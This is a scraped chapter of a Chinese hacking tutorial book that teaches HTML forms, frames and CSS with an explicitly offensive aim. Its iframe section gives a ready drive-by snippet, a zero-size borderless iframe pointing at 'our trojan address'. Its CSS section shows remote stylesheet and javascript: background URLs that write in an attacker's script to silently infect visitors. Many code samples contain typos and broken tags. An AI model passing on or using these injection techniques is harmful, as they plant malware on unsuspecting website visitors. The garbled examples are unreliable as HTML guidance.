SIZE</p><p>VALUE</p><p>文字域的名称</p><p>文字域的最大输入字符数</p><p>文字域的宽度（以字符为单位）文字域的默认值</p><p>这就是文字域的一些基本知识，可能很多朋友还是不明白，下面就通过编写一个例子来说明，代码如下</p><p><html></p><p><head></p><p><title>插入文字域</title></p><p></head></p><p><body></p><p>用户调查</p><p><a href="https://www.xnip.cn/link/redirect?r=mailto:zengyunhao0@tom.com" target="_blank" rel="noopener noreferrer"><form </a>action=mailto:zengyunhao0@tom.com method=get name=haha></p><p>//编写一个表单，连接为邮件地址，方法是 get 提交，名字是 haha</p><p>姓名：<input type=”text” name=”username” size=20></p><p>//编写一个文字域，名字为 username，宽度为 20</p><p>网址：<input type=”text” name=”URL” size=20 maxlength=50 value=”http://”></p><p>//编写一个文字域，名字为 URL，宽度为 20，最大输入长度为 50 默认值是 http://</p><p></from></p><p></body></p><p></html></p><p>编写完代码之后，我们把后缀名改成 html 后，执行看看，如图 3-16 所示，对于这样的图片来说，相信会上网的朋友都应该都见过吧。</p><p><img width="481" height="214" alt="image" src="https://imgs.xnip.cn/cj/docimg/46/c02a9189-b3a9-4832-9c97-627fbf6c9d1a.png" /></p><p>图 3-16</p></li><li><p>密码域 PASSWORD</p><p>我们在上网时，比如登陆邮箱是肯定要输入密码的，这个输入密码的输入框叫做密码域，它是文本域的另外一种形式。他的功能是输入到文本域中的文章均以星号"*"或者圆点显示，基本语法和上面的文字域差不多，区别是要把 type 中的 text 改成 password 即可。还是用上面文本域的例子为基础，在<form>标记之间加入一条代码"密码：<inpyt ty pe="password" name="password" size=20 maxlength=30>"，保存之后打开文件，并且在密码输入框中输入任何字符看看，都是圆点，而真正的字符却隐藏了，如图 3-17 所示。</p><p><img width="558" height="194" alt="image" src="https://imgs.xnip.cn/cj/docimg/46/603d883d-948e-4bc6-b63b-af4e736fdf5d.png" /></p><p>图 3-17</p></li><li><p>文件域 FILE</p><p>文件域可以让我们在域的内部填写自己本地电脑上的文件，最后通过表单上传，这是文件域的基本功能。运用的最多的应该就是上传了。文件域在外观上是一个文本框加一个浏览按钮，</p><p>我们既可以直接将要上传给网站的文件的路径填写在文本框中，也可以单击浏览按钮，在自己的电脑中找到要上传的文件。基本语法是<INPUT type="file" name="field_name">，它的类型为 FILE，name 为这个文件域的名称，下面来简单的编写一个文件域，代码如下：</p><p><html></p><p><head></p><p><title>文本域</title></p><p></head></p><p><body></p><p><form></p><p>请上传你的相片：<INPUT type="file" name="file"></p><p></form></p><p></body></p><p></html></p><p>保存之后打开就可以看到文本域的真实面目了，如图 3-18 所示。这样的上传图片相信大家都见过吧。</p><p><img width="406" height="177" alt="image" src="https://imgs.xnip.cn/cj/docimg/46/bc83d94f-dbbf-43b9-9678-427f6b79875e.png" /></p><p>图 3-18</p></li><li><p>按钮</p><p>表单中的按钮起着一个至关重要的作用。按钮可以有提交表单所有数据到服务端的功能、可以在用户需要修改表单的时候，将表单恢复到初始的状态，还可以依照程序的需要，发挥其他的作用。按钮一般分了 BUTTON(普通按钮)、SUBMIT(提交按钮)、RESET(重置按钮) 三种。</p><p>普通按钮 BUTTON 的语法是<INPUT typ e= "BUTT ON" n ame= "field _name" v alue= "BUTTON_TEXT">，其中 value 的值代表显示在按钮上的文字。</p><p>提交按钮 SUBMIT 的作用是在单击这个按钮后，把表单中的数据全部提交到服务端的处理程序中去。基本语法是<INPUT ty pe= "SUBMIT" nam e= "field_ name" value = "BUTTON_TEXT">，其中 value 的值代表显示在按钮上的文字。</p><p>重置按钮 RESET 就是在单击按钮后，把我们添入在表单中的数据全部清除，恢复到默认的表单内容设定。基本语法是<INPUT ty pe= "RESET" na me= "field _name" value = "BUTTON_TEXT">，再次提示：在 HTML 语言中，大小是不区分的。下面简单编写一个例子来实践一下按钮的效果，代码如下。</p><p><html></p><p><head></p><p><title>表单按钮演示</title></p><p></head></p><p><body></p><p>用户注册</p><p><a href="https://www.xnip.cn/link/redirect?r=mailto:zengyunhao0@tom.com" target="_blank" rel="noopener noreferrer"><form </a>action=mailto:zengyunhao0@tom.com method=get name=haha></p><p>姓名：<input type=”text” nam e=”username” size= 20><br></p><p>密码：<input type="password" name="password" size=20 maxlength=30><br></p><p>网址：<input type=”text” nam e=”URL” size=20 maxlength=50 value=http://><br></p><p><INPUT type= "BUTTON" name= "field_name" value= "普通按钮"></p><p><INPUT type= "SUBMIT" name= "field_name" value= "提交按钮"></p><p><INPUT type= "RESET" name= "field_name" value= "重置按钮"></p><p></from></p><p></body></p><p>保存之后，打开文件看看，如图 3-19 所示。我想相似的图片应该也大家见过吧，最多的就是在注册用户时使用。</p><p><img width="357" height="300" alt="image" src="https://imgs.xnip.cn/cj/docimg/46/4ed25a60-ada5-4f86-ba74-4d65cf4ff9d7.png" /></p><p>图 3-19</p></li><li><p>隐藏域 HIDDEN</p></li></ol><p>隐藏域在页面中对于我们用户来说是看不到的，因为他被隐藏起来了，在表单中插入隐藏域的目的就是在于收集或发送信息。我们在点击提交按纽发送表单数据的时候，隐藏域的信息也被一起发送到了服务器中。他的基本语法是<INPUT type="field_name" value="value">。我之所以也给大家讲解在隐藏是因为很多程序在写程序认为这个是隐藏起来的，认为用户看不到，所以很多情况下是没有隐藏域的参数进行检测和过滤，所以发生了很多安全事故。</p></li><li><h3 id="mketrk">文本域标记<TEXTAREA></h3></li></ol></li></ol></ol><p>这个标记通常用来网页中做多行的文字域，这样可以输入更多的文本，用的最多的是在文章的评论中。他的基本语法是<TEXTAREA n ame="name" row s=value c ols=value value=value>< /TEXTAREA>，它所具有的属性如表 3-4 所示。</p><p>文本域标记属性</p><p>name</p><p>描述</p><p>文本域的名称</p><p>rows cols Value</p><p>文本域的行数 文本域的列数 文本域的默认值</p><p>下面结合一个例子来具体说明，让大家从实践中明白这不是很难。具体代码如下：</p><p><html></p><p><head></p><p><title>文本域功能演示</title></p><p></head></p><p><body></p><p>用户调查</p><p><a href="https://www.xnip.cn/link/redirect?r=mailto:zengyunhao0@tom.com" target="_blank" rel="noopener noreferrer"><form </a>action=mailto:zengyunhao0@tom.com method=get name=haha></p><p>留言板：</p><p><br></p><p><TEXTAREA name= "comment" ro ws=5 cols=40 ></TEXTAREA><br></p><p><INPUT type= "SUBMIT" name= "field_name" value= "提交留言"></p><p></form></p><p></body></p><p></html></p><p>保存代码和改了后缀名之后打开看看，是不是和网上的留言板一样呢，如图 3-20 所示。</p><p><img width="409" height="313" alt="image" src="https://imgs.xnip.cn/cj/docimg/46/d6f5bda7-95c6-4300-a3cd-a820dbf7a69e.png" /></p><p>图 3-20</p><ol><ol><li><h2 id="tbqdoh">框架</h2><p><a href="https://www.xnip.cn/link/redirect?r=http://www.hao123.com等网站/" target="_blank" rel="noopener noreferrer">现在网站导航服务在网上非常的流行，比较著名的有</a><a href="https://www.xnip.cn/link/redirect?r=http://www.hao123.com等网站/" target="_blank" rel="noopener noreferrer">www.hao123.com</a><a href="https://www.xnip.cn/link/redirect?r=http://www.hao123.com等网站/" target="_blank" rel="noopener noreferrer">等网站。</a></p><p>在 hao123 网站的页面上这个页面被分成了几个区域，每个区域显示不同的内容。要完成</p><p>这个功能就是利用框架技术来实现的。框架的作用就是把浏览器的这个窗口划分为几个更小的区域，每个区域显示不同的内容。所以使用框架是可以非常方便的完成我们网站的导航工作的。如果一个网页的各个部分都是相互的独立的网页，并且又由一个网页将这些分开来的网页组成一个完整的网页，显示在我们的浏览器中。而且同一个页面上的不同框架之间是不存在相互干扰的问题，所以框架技术一直都普遍的应用在页面导航上。但是同时也非常普遍的运用在黑客技术上。</p><p>框架主要是由两部分组成，一个是框架集，另一个就是框架，下面我将详细的为大家讲解这两个组成部分，学好了的话，那以后就知道怎么挂马了哦。跟我来吧。</p><ol><li><h3 id="dkweek">框架集标记<FRAMESET></h3><p>框架集是在一个文件里构造一组有框架结构的 HTML 网页，框架集在一个我们网页的一个窗口中显示了框架数目、框架的尺寸及放入到矿机中的网页等。其实框架就是在一个网页中定义出来的一个显示区域，框架集的标记为<FRAMESET>。</p><p>在使用了框架集的页面上，页面的<BODY>标记被<FRAMESET>标记给取代了，然后通过<FRAME>标记定义每一个框架。基本的页面代码如下：</p><p><html></p><p><head></p><p><title>基本框架代码</title></p><p></head></p><p><frameset></p><p><fra me></p><p><fra me></p><p>………… ….</p><p></frameset></p><p></html></p><p>框架一般是把这个网页分成几个小块，主要是分割方法有：左右分割、上下分割、嵌套分割这三种。下面详细的来说说这三种分割方式。</p><ol><li><p>左右分割</p><p>在水平的方向，浏览器可以被分割成多个窗口，利用框架的左右分割窗口属性 COLS 就可以实现。基本的语法是</p><p><frameset cols="value,value,…………"></p><p><frame></p><p><frame></p><p>……….</p><p><frameset></p><p>其中 value 为各个框架的宽度值，定义了几个 value 值，那么就会有几个框架，value 的值可以是像素，也可以是百分比。比如我们编写一个将浏览器分割成左右两个框架的网页，代码如下：</p><p><html></p><p><head></p><p><title>左右分割窗口</title></p><p></head></p><p><frameset cols="30%,70%"></p><p>//将整个浏览器分成两部分，一个占 30%的页面另一个占 70%的页面</p><p><fra me></p><p><fra me></p><p></frameset></p><p><html></p><p>如图 3-21 显示了左右分割口的显示结果。</p><p><img width="449" height="317" alt="image" src="https://imgs.xnip.cn/cj/docimg/46/021a2cf2-6e4c-4b5d-bf64-fcb60e4c6998.png" /></p><p>图 3-21</p></li><li><p>上下分割</p><p>如果在垂直的方向上要把浏览器分割成多个窗口，使用框架的上下分割窗口属性 ROWS 就可以了。基本的语法是</p><p><frameset rows="value,value,…………"></p><p><frame></p><p><frame></p><p>……….</p><p><frameset></p><p>Value 的值和上面是一样的，将浏览器上下分割成三个窗口看看，代码如下：</p><p><html></p><p><head></p><p><title>上下分割窗口</title></p><p></head></p><p><frameset rows="20%,50%,*"></p><p>//将整个浏览器上下分成两部分，一个占 30%的页面另一个占 70%的页面还有一个是使用星</p><p>//号，它代表的是剩下的所有资源。</p><p><fra me></p><p><fra me></p><p><fra me></p><p></frameset></p><p><html></p><p>如图 3-22 所示，上下分割成了三个窗口的页面。</p><p><img width="398" height="350" alt="image" src="https://imgs.xnip.cn/cj/docimg/46/8a8b0455-fde6-4a3b-b0c9-ce8f8a38c35a.png" /></p><p>图 3-22</p></li><li><p>嵌套分割</p></li></ol><p>如果一个网页中既有左右分割窗口又有上下分割窗口，那么这样的窗口我们就叫嵌套框架。基本语法是</p><p><frameset rows="value,value,…………"></p><p><frame></p><p><fra meset cols= "value,value,…………"></p><p><frame></p><p>……….</p><p><frameset></p><p>上面的代码是先将框架按照上下来分割，然后在第二个框架中进行左右分割。当然这里的代码我们还是可以修改的，这只是一个模式而已。比如我们编写一个嵌套框架，先将窗口分割成左右两个，宽度为 20%和 80%。然后在将第二个窗口分割成成上下两个，高度分别为</p><p>20%和%80。</p><p><html></p><p><head></p><p><title>上下分割窗口</title></p><p></head></p><p><frameset cols="20%,80%"></p><p><fra me></p><p><frameset rows= "20%,80%"></p><p><fra me></p><p><fra me></p><p></frameset></p><p></html></p><p>运行结果如图 3-23 所示。</p><p><img width="399" height="346" alt="image" src="https://imgs.xnip.cn/cj/docimg/46/66933252-f481-440c-8898-dcaebe7d2259.png" /></p><p>图 3-23</p></li><li><h3 id="flotms">框架标记<FRAME></h3><p>从上面的代码中我们也可以看到在框架集内还存在一个<FRAME>的标记，这个标记叫做框架。每一个框架都可以显示一个页面，这个页面我们叫它框架页面，通过<FRAME>标记的属性可以定义框架页面的内容，常用的属性有 SRC、NAME 等。SRC 属性为在框架内要显示的文件的路径，NAME 属性为这个框架的名字。例如在一个页面上显示两个框架页面的内容。</p><p><html></p><p><head></p><p><title>框架的运用</title></p><p></head></p><p><frameset cols="50%,50%"></p><p><fram e src= one.html name= one></p><p>//连接文件one.html 用于显示在第一个框架内</p><p><fram e src= two.html name= two></p><p>//连接文件 two.html 用于显示在第二个框架内</p><p></frameset></p><p><html></p><p>图 3-20 显示了运行结果，在里面的两个框架里我连接了两个文件，分别为 one.html 和</p><p>two.html。</p><p><img width="396" height="346" alt="image" src="https://imgs.xnip.cn/cj/docimg/46/d39de300-48b7-4660-a118-7573ee57e0a2.png" /></p><p>图 3-24</p></li><li><h3 id="ftwlfz">浮动框架<IFRAME></h3><p>浮动框架是一种特殊的框架页面，可以在浏览器窗口中嵌套其他子窗口，在其中显示页面的内容，同时它也是在黑客中使用非常频繁的一项技术。在黑客中它主要用来挂马，你一定听过挂马吧，那接下来我就会给大家讲解怎么利用浮动框架来挂马。先看它的基本语法。</p><p><iframe src= "file_url" height=value width=value name= "iframe_name" align= ""value "><iframe></p><p>从上面可以知道它含有很多属性，这些属性的具体含义可以见表 3-5 所示。</p><p>属 性 描 述</p><p>SRC</p><p>浮动框架中显示的页面源文件的路径</p><p>WIDTH</p><p>浮动框架的宽度</p><p>HEIGHT</p><p>浮动框架的高度</p><p>NAME</p><p>浮动框架的名称</p><p>ALIGN</p><p>浮动框架的排列方式</p><p>FRAMEBORDER</p><p>框架边框显示属性</p><p>SCROLLING</p><p>框架滚动条显示属性</p><p>MARGINWIDTH</p><p>框架边缘宽度属性</p><p>MARGINHETGHT</p><p>框架边缘高度属性</p><p>其中 SRC 可以是本地文件的地址，也可以是网络上某个地址。例如我们要在一个网页中加一个浮动框架，把另外一个网页嵌入进去。编写的代码如下：</p><p><html></p><p><head></p><p><title>浮动框架的运用</title></p><p></head></p><p><body></p><p><iframe src=three.html></ifrmae></p><p></body></p><p></html></p><p>运行的结果如图 3-25 所示。另外地址还可以是网址，例如我们写入连接地址是</p><p><a href="https://www.xnip.cn/link/redirect?r=http://www.baidu.com那么我们在打开这个网页的时候同时也打开了BAIDU/" target="_blank" rel="noopener noreferrer">www.baidu.com</a><a href="https://www.xnip.cn/link/redirect?r=http://www.baidu.com那么我们在打开这个网页的时候同时也打开了BAIDU/" target="_blank" rel="noopener noreferrer">那么我们在打开这个网页的时候同时也打开了</a>BAIDU，如图 3-26 所示，而且是内嵌在里面的。</p><p><img width="362" height="371" alt="image" src="https://imgs.xnip.cn/cj/docimg/46/ca7e941f-ab59-4cea-b0f6-46d5abb78b91.png" /></p><p>图 3-25</p><p><img width="329" height="340" alt="image" src="https://imgs.xnip.cn/cj/docimg/46/3d4af990-5edc-4bc8-b8d3-0daaa15ad1fe.png" /></p><p>图 3-26</p><p>上面我说了在打开网页时同时也打开了 BAIDU，就是因为这个特性，所以被广泛的运用到了挂马上面。比如我们在一个网页也插入一个动态框架，而动态框架的 SRC 属性的值为我们的木马地址。在上面的例子的代码中，我没有设定框架的高度和宽度，但是在图 3-21中还是显示了框架。上面之所以不写是因为我想告诉大家，在默认的情况下就算不写高度和宽度系统也会显示这个动态框架的。所以在挂马的时候，一定要把高度和宽度设为零。同时还有框架边框显示属性 FRAMEBORDER 要注意，也要把它写上，而且它值也是零。为零的情况是表示不显示框架的边框，而为一则显示边框。所以一个完整的框架挂马代码是<iframe src= "我们的木马地址" height=0 width=0 frameborder=0></iframe>。当然这个挂马技术在当前的情况下的隐蔽性不是太高，懂的分析代码的人可以很快查出真正的木马地址，但应用的还是比较广，毕竟懂的分析代码的人还是少数。在后面我还会给大家介绍其他类型的挂马技术。</p></li></ol></li><li><h2 id="vnspeu">CSS层叠样式表</h2><p>通过上面的学习，大家应该都对 HTML 有一定认识了，我们都知道在 HTML 文件中文档结构(即标记)和需要显示的内容是混合在一起编写的，导致存在不同的浏览器之间不兼容的问题，为了能让网页在各种平台下能够正常显示，需要一种将显示描述彻底的独立于文档结构。于是人们就开始为 HTML 指定了样式单机制，这就是层叠样式表 CSS。</p><p>层叠样式表 CSS 对于设计者来说是一种简单、灵活、易学的工具，能使任何浏览器都听从指令，知道该如何显示元素及其内容。CSS 是一组样式，样式的属性依次出现在 HTML元素中，并显示在浏览器中。样式可以定义在 HTML 文档的标志里面。也可以是存在外部，作为引用在 HTML 文档中，所以一个样式可以用于多个 HTML 页面，甚至整个网站，由此可以见 CSS 有非常好的易用性和扩展性。</p><p>层叠样式表 CSS 可以使用 HTML 中的标签也可以自己命名的方式来定义。它不仅可以控制传统的一些文本属性，如字体、颜色等等，还可以一些比较特别的 HTML 属性，如对象位置、图片效果等等。CSS 可以一次控制多个文档中的文本，并且可以随时改动层叠样式表 CSS 的内容，以自动更新文档中文本的样式。</p><ol><li><h3 id="ldocgs">层叠样式表的类型</h3><p>上面讲了那么多 CSS 的优点，那接下来就来说说层叠样式表 CSS 的类型，它包括了三种类型。</p><ol><li><p>自定义层叠样式表</p><p>我们可以在文档的任何区域或文本中应用自定义层叠样式表，如果要将自定义的层叠样式表应用在一整段文字，那么就会在相应的标签中出现 class 属性。这个属性值是自定义层叠样式表的名称。如果将定义的层叠样式表应用在部分文字上，那么就会出现<Span>和</Span>标签，并且还包含 class 属性。如下面是自定义中比较常用的代码，而且这个代码在后面我会详细的讲解，它就是鼎鼎大名的 CSS 挂马基础。</p><p>. bg {background-image:url(bg.gif);}</p><p><b ody class="bg"></p></li><li><p>重定义标签的层叠样式表</p><p>我们可以针对某一个标签来定义层叠样式表，也就是说定义的层叠样式表只应用在我们选择的标签。例如我们在<body>和</body>前面之间定义了层叠样式表，那么所有包含</p><p>在<body>和</body>标签之间的内容将遵循定义的层叠样式表。常见的代码如下：</p><p>td {color:#000099;font-size:9pt}</p></li><li><p>层叠样式表选择符</p></li></ol><p>层叠样式表选择符是为特殊的组合标签定义层叠样式表，通过使用 ID 来作为属性，</p><p>以保证文档具有唯一可用的值。层叠样式表选择符是一种比较特殊类型的样式，常用的有四种，分别为：a:link、a:active、a:visited、a:hover。</p><p>① a: link 设定正常状态下连接文字的样式</p><p>② a: active 设定鼠标单击时连接的外观</p><p>③ a: visited 设定访问过的链接外观</p><p>④ a: hover 设定鼠标放置在链接文字之上时，文字的外观</p><p>例如 a:link{color:#FF3366;font-family: "宋体";text-decoration:none;}</p></li><li><h3 id="fannnv">层叠样式表的基本写法</h3><p>层叠样式表基本写法有三种，下面简单介绍下。</p><ol><li><p>在 HEAD 内的实现</p><p>层叠样式表一般位于 HTML 文件的头部，即在<head>和</head>标签之间。并且以<style>开始，以</style>结束。代码有：</p><p><style type="text/css"></p><p>H1 {font-size:x-large;color:red} H2 {font-size:lorge;color:blue}</p><p></style></p><p>其中，<style>和</style>之间的是样式的内容。Type 一项表示使用的是 text 中的层叠样式书写的代码。{}前面的是样式的类型和名称。{}中的是样式的属性。上述定义了<h1>和<h2>标记使用的字号和颜色。</p></li><li><p>在 BODY 内的实现</p><p>在 BODY 中实现主要是在标记中引用，例如要让 H3 标记的文字的大小为 10pt，那么可以使用如下语法：<h3 style="font-size:10pt">。</p></li><li><p>在文件外的调用</p><p>层叠样式表的定义既可以是在 HTML 文档内部，也可以是单独的文章。代码为</p><p><link rel="stylesheet" href="style.css" type="text/css"></p></li></ol></li><li><h3 id="aivcrj">CSS挂马技术</h3><ol><li><p>上面我给大家讲解了 CSS 的基础知识，相信大家都对它已经有一定的认识了。至于 CSS的各种属性，这里我就不一一讲解了，因为太多了，而且大部分都黑客技术没什么大的联系，不过在光盘中我已经收录了CSS的属性了，大家可以去光盘里找到来阅读。我下面就讲几个属性，那就是和CSS挂马相关的。相信很多朋友都听过CSS挂马吧，它的隐蔽性可是最高的哦。要用CSS挂马，首先要用到文件外调用，代码是<link rel="stylesheet" href="style.css"</p></li></ol><p>type="text/css">。Href属性就是炼接外部的文件的属性，在挂马的时候只需要改动这里就可以，把它的值改成我们自己构造的CSS<a href="https://www.xnip.cn/link/redirect?r=http://xxxxx.xxxxx/css.css" target="_blank" rel="noopener noreferrer">文件地址。例如</a>http://xxxxx.xxxxx/css.css。而在这个</p><p>css.css文件中，我们需要用到自定义层叠样式表中的知识来挂马，代码为：</p><p>body { background-image: url(javascript:document.writ ("<script src="URL地址"></script>)')}， background-image就是页面的背景图案，而url就是需要连接的图片地址，当然他支持javascript语言。所以我们可以在里面写上javascript:document.write("<script src="URL地址")')。他的意思是利用javascript的文档对象的write方法写入" URL地址"中的内容，一般情况下为了隐蔽，这个URL地址为JS文件。因为这里还没有学javascript语言，所以自己的URL地址就先写上我们木马的地址。至于写如JS文件地址我在下一章将详细讲解。这里就简单的举个例子，代码如下：</p><p><html></p><p><head></p><p><style type="text/css"> div{</p><p>background:url("javascript:window.alert('ok');");</p><p>}</p><p></style></p><p></head></p><p><body></p><p><div></div></p><p></body></p><p></html></p><p>background:url("javascript:window.alert('ok');");就是利用自定义层叠样式表中的 url。在这里就是利用 javascirpt 打开一个信息对话框，运行后如图 3-27 所示。不过这里打开之后会出现图 3-28 这样的提示，我们需要选择允许，不然就不会运行我们的代码了。可是我们把 window的方法换成 open 的话，例如 <a href="https://www.xnip.cn/link/redirect?r=http://www.google.com/" target="_blank" rel="noopener noreferrer">background:url("javascript:window.open('http://www.google.com</a></p><p><img width="258" height="121" alt="image" src="https://imgs.xnip.cn/cj/docimg/46/c8a65f6a-21cc-4d3c-b3d6-e38de0fe35a6.jpg" /></p><p><img width="314" height="170" alt="image" src="https://imgs.xnip.cn/cj/docimg/46/f6c13a1a-18a9-4297-81e9-9de78b765472.png" /></p><p>');");。那么执行之后就会自动打开 google 的网页，如果把它换我们的木马地址，同时把高度和宽度换成零，那么就可以成功挂马了。</p><p>图 3-27</p><p><img width="555" height="65" alt="image" src="https://imgs.xnip.cn/cj/docimg/46/31dc2a39-4771-42c3-9002-5357c18f8d73.png" /></p><p>图 3-28</p></li></ol></li><li><h2 id="mymbdg">结尾</h2></li></ol></ol><p>通过上面的 HTML 学习，我想大家已经对 HTML 有比较熟悉的了解了。对 HTML 各种标、自定义头像跨站、表单的运用、挂马技术应该都有认识了。但是仅仅学这点客户端脚本是不够用的，必须要学动态客户端脚本语言，那样对客户脚本攻击才会了解的更加透彻。所以第四章给大家安排了 javascript 和 vbscript 这两大主流客户端动态脚本语言给大家学习，一定很向往吧，那就 follow me！</p><h4>声明：本章中的部分 HTML 基础知识参考了中国青年出版社出版的《HTML 标准教程》，该书由胡艳洁编著</h4><p>你从本章可以学到如下几点： 1、 JavaScript 基础知识 2、 VBScript 基础知识</p><p>3、 通用防注入系统</p><p>4、 挂马的原理及实例攻击</p><p>5、 脚本病毒的原理及技术分析</p></div> </div> </div> </div> </main> <div data-v-zd="" class="copyright"> <div data-v-zd="" class="content"> <div data-v-zd="" class="item"> <span data-v-zd="">免责声明：</span> <span data-v-zd="">以上内容版权归原作者所有，如有侵犯您的原创版权请告知，我们将尽快删除相关内容。感谢每一位辛勤著写的作者，感谢每一位的分享。</span> </div> </div> </div> <footer class="vcft" data-v-g="" data-v-i=""> <div class="edit-info" data-v-i=""> <div class="edit-link" data-v-i=""> <a class="vpk link edit-link-button" href="/fankui.html?type=2&id=107934" target="_blank" rel="noreferrer" data-v-i="" data-v-e=""> <span class="edit-link-icon" data-v-i=""></span>不妥之处，敬请雅正 </a> </div> <div class="last-updated" data-v-i=""> <p class="VPLastUpdated" data-v-i="" data-v-j="">最后更新: <time data-v-j="">2023-12-01</time> </p> </div> </div> <div class="prev-next" data-v-i=""> <div class="pager" data-v-i=""> <a class="pager-link" href="/shouce/1905/107933.html" data-v-i="" title="第二章 常规脚本漏洞演练"> <span class="desc" data-v-i="">上一篇</span> <span class="title" data-v-i="">第二章 常规脚本漏洞演练</span> </a> </div> <div class="has-prev pager" data-v-i=""> <a class="pager-link" href="/shouce/1905/107935.html" data-v-i="" title="第四章 Javascript和vbscript入门"> <span class="desc" data-v-i="">下一篇</span> <span class="title" data-v-i="">第四章 Javascript和vbscript入门</span> </a> </div> </div> <div class="card-content-v"> <h2 class="card-item-h2-v">类似资料</h2> <ul class="items"> <li class="item-main"> <div class="item-c-main"> <div class="item-t-main"> <a href="/shouce/1905/" class="t-f" title="精通脚本黑客">精通脚本黑客</a> </div> <p class="item-c-main">目前国内书店关于脚本方面的书籍特别多，但这些书相对来讲理论性的知识偏多。</p> </div> </li> <li class="item-main"> <div class="item-c-main"> <div class="item-t-main"> <a href="/shouce/1499/88478.html" class="t-f" title="第三章 树 - 3.1 红黑树">第三章 树 - 3.1 红黑树</a> </div> <p class="item-c-main">二叉查找树 由于红黑树本质上就是一棵二叉查找树，所以在了解红黑树之前，咱们先来看下二叉查找树。 二叉查找树（Binary Search Tree），也称有序二叉树（ordered binary tree）,排序二叉树（sorted binary tree），是指一棵空树或者具有下列性质的二叉树： 若任意结点的左子树不空，则左子树上所有结点的值均小于它的根结点的值； 若任意结点的右子树不空，则右子树</p> </div> </li> <li class="item-main"> <div class="item-c-main"> <div class="item-t-main"> <a href="/shouce/1522/89816.html" class="t-f" title="第三章: Promise">第三章: Promise</a> </div> <p class="item-c-main">在第二章中，我们定位了在使用回调表达程序异步性和管理并发的两个主要类别的不足：缺乏顺序性和缺乏可靠性。现在我们更亲近地理解了问题，是时候将我们的注意力转向解决它们的模式了。 我们首先想要解决的是 控制倒转 问题，信任是如此脆弱而且是如此的容易丢失。 回想一下，我们将我们的程序的延续包装进一个回调函数中，将这个回调交给另一个团体（甚至是潜在的外部代码），并双手合十祈祷它会做正确的事情并调用这个回调。</p> </div> </li> <li class="item-main"> <div class="item-c-main"> <div class="item-t-main"> <a href="/shouce/1610/93315.html" class="t-f" title="第三章 `ArrayList`">第三章 `ArrayList`</a> </div> <p class="item-c-main">本章一举两得：我展示了上一个练习的解法，并展示了一种使用摊销分析来划分算法的方法。 3.1 划分MyArrayList的方法 对于许多方法，我们不能通过测试代码来确定增长级别。例如，这里是MyArrayList的get的实现： public E get(int index) { if (index < 0 || index >= size) { throw new Inde</p> </div> </li> <li class="item-main"> <div class="item-c-main"> <div class="item-t-main"> <a href="/shouce/1905/107946.html" class="t-f" title="第十五章 Web 2.0 下的脚本黑客技术">第十五章 Web 2.0 下的脚本黑客技术</a> </div> <p class="item-c-main">前面的十几章基本上都是讲解的是 ASP、PHP、JSP 下的脚本黑客技术，这是目前脚本黑客技术的主流。当然，脚本黑客技术也不仅仅局限这些上面，目前的脚本语言有几十种之多。不过随着技术的不断发展，很多脚本语言使用的并不太广泛了，如 CGI 等等。现在所有的脚本语言都基本上进入了 Web 2.0 的时代了，过不了几年 Web 2.0 可能就将统治整个脚本语言界了，必将成为下一个时代网页的主流。 目前 </p> </div> </li> <li class="item-main"> <div class="item-c-main"> <div class="item-t-main"> <a href="/shouce/1927/109420.html" class="t-f" title="第24章：精度数学">第24章：精度数学</a> </div> <p class="item-c-main">目录 24.1. 数值的类型 24.2. DECIMAL数据类型更改 24.3. 表达式处理 24.4. 四舍五入 24.5. 精度数学示例 MySQL 5.1提供了对精度数学的支持，也就是说，数值处理功能，它能给出极其精确的结果，并能对无效值进行高度控制。精度数学基于下述两种特性： ·SQL模式，控制服务器接受或拒绝无效值的严格程度（请参见5.3.2节，“SQL服务器模式”）。 ·用于定点算法的</p> </div> </li> </ul> </div> <div class="card-content-v"> <h2 class="card-item-h2-v">相关阅读</h2> <a href="/shouce/1370/83333.html" target="_blank" title="第三章 函数" class="card-item-v list-item-dot">第三章 函数</a><a href="/shouce/1520/89736.html" target="_blank" title="第三章: 对象" class="card-item-v list-item-dot">第三章: 对象</a><a href="/shouce/1684/95682.html" target="_blank" title="第三章：模型" class="card-item-v list-item-dot">第三章：模型</a><a href="/shouce/1672/95255.html" target="_blank" title="第三章：组织" class="card-item-v list-item-dot">第三章：组织</a><a href="/shouce/1032/68854.html" target="_blank" title="第三章：函数" class="card-item-v list-item-dot">第三章：函数</a><a href="/shouce/1047/69567.html" target="_blank" title="第三章：列表" class="card-item-v list-item-dot">第三章：列表</a><a href="/shouce/2038/115575.html" target="_blank" title="第三章 操作符" class="card-item-v list-item-dot">第三章 操作符</a><a href="/shouce/1842/103796.html" target="_blank" title="第十三章 重载" class="card-item-v list-item-dot">第十三章 重载</a><a href="/shouce/1398/84655.html" target="_blank" title="Pandas 秘籍 - 第三章" class="card-item-v list-item-dot">Pandas 秘籍 - 第三章</a><a href="/shouce/1522/89825.html" target="_blank" title="第三章: Promise - 复习" class="card-item-v list-item-dot">第三章: Promise - 复习</a><a href="/shouce/1560/90979.html" target="_blank" title="第三章 HTTP 报文" class="card-item-v list-item-dot">第三章 HTTP 报文</a><a href="/shouce/1580/92015.html" target="_blank" title="第三章：javascript： 列表" class="card-item-v list-item-dot">第三章：javascript： 列表</a><a href="/shouce/929/63281.html" target="_blank" title="第三章 控制器" class="card-item-v list-item-dot">第三章 控制器</a><a href="/shouce/1061/70383.html" target="_blank" title="第三章：进入 YDKJS" class="card-item-v list-item-dot">第三章：进入 YDKJS</a><a href="/shouce/1049/69626.html" target="_blank" title="第十三章 跳转" class="card-item-v list-item-dot">第十三章 跳转</a><a href="/shouce/1047/69577.html" target="_blank" title="第十三章：速度" class="card-item-v list-item-dot">第十三章：速度</a><a href="/shouce/523/40881.html" target="_blank" title="6 黑客" class="card-item-v list-item-dot">6 黑客</a><a href="/shouce/1499/88482.html" target="_blank" title="第三章 树 - 3.10 本章习题" class="card-item-v list-item-dot">第三章 树 - 3.10 本章习题</a><a href="/shouce/1499/88477.html" target="_blank" title="第三章 树 - 3.0 本章导读" class="card-item-v list-item-dot">第三章 树 - 3.0 本章导读</a><a href="/shouce/1842/103806.html" target="_blank" title="第二十三章 安全" class="card-item-v list-item-dot">第二十三章 安全</a><a href="/shouce/1499/88479.html" target="_blank" title="第三章 树 - 3.2 B树" class="card-item-v list-item-dot">第三章 树 - 3.2 B树</a><a href="/shouce/1421/85763.html" target="_blank" title="第十三章 饼状图" class="card-item-v list-item-dot">第十三章 饼状图</a><a href="/shouce/1395/84357.html" target="_blank" title="第三章 Hadoop是什么" class="card-item-v list-item-dot">第三章 Hadoop是什么</a><a href="/shouce/1158/73869.html" target="_blank" title="第三章、安装 CentOS7.x" class="card-item-v list-item-dot">第三章、安装 CentOS7.x</a><a 